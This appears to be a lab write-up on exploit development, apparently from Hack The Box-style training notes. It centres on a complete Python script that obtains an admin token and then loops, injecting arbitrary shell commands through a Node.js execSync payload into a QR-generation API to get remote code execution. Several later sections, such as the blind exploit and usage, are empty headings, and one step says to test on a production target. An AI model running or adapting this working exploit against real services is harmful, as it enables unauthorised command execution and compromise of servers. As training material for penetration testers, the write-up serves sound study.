Exploit Development

Overview

Automate the exploitation process with a Python script for easy reproduction and testing.


Exploit Plan

Step
Action

1

Obtain admin token (once)

2

Ask user for command

3

Inject command into payload

4

Send authenticated POST request

5

Parse response, print output

6

Loop back to step 2


HTTP Response Injection Exploit

Full Script

#!/usr/bin/python3
import requests
import json

# Configuration
server = "localhost"
port = 5000
url = f"http://{server}:{port}"
auth_endpoint = f"{url}/api/auth/authenticate"
qr_endpoint = f"{url}/api/service/generate"

# Get admin token
headers = {"Content-Type": "application/json"}
data = {"email": "test@hackthebox.com"}
response = requests.post(auth_endpoint, headers=headers, data=json.dumps(data))
token = response.json()['token']
print(f"[+] Got admin token")

# Command execution loop
while True:
    user_input = input("\n> ")
    
    # Escape single quotes (breaks JS payload)
    user_input = user_input.replace("'", '"')
    
    # Build payload
    payload = {
        "text": "' + require('child_process').execSync('" + user_input + "').toString() + `'`, statusCode: 403})//"
    }
    
    # Send request
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {token}"
    }
    response = requests.post(qr_endpoint, headers=headers, data=json.dumps(payload))
    
    # Parse and print output
    try:
        output = response.json()['message'].split("The input \"")[1][:-2]
        print(output)
    except:
        print("[-] Error parsing response")

Usage


Time-Based Blind Exploit

Full Script

Usage


Code Breakdown

1. Token Acquisition

2. Quote Escaping

Single quotes break the JS payload: execSync('...')

3. Payload Construction

4. Response Parsing

  • Split after The input "

  • Remove last 2 chars (\n')


Improvements

Error Handling

Command History

Timeout Handling


Cleanup Considerations

When Cleanup Needed

Action
Cleanup Required

Read commands (ls, cat)

❌ No

Write files

βœ… Yes - delete files

Create users

βœ… Yes - remove users

Modify configs

βœ… Yes - restore original

This Exploit

No cleanup needed - only executes read commands.


Final Checklist

#
Step
Status

1

Hit validateString function

βœ…

2

Trace input in function

βœ…

3

Obtain admin role

βœ…

4

Reach eval function

βœ…

5

Prepare payload

βœ…

6

Confirm payload reaches target

βœ…

7

Confirm code injection

βœ…

8

Reach command execution

βœ…

9

Verify execution blindly

βœ…

10

Automate exploitation

βœ…


Summary

HTTP Response Exploit

  • Fast execution

  • Direct output

  • ~10 lines of core code

Blind Time-Based Exploit

  • Works without output visibility

  • Slower (2s per character match)

  • More complex logic

Next Steps

  1. Test on production target

  2. Document findings

  3. Provide patches

  4. Write report

Last updated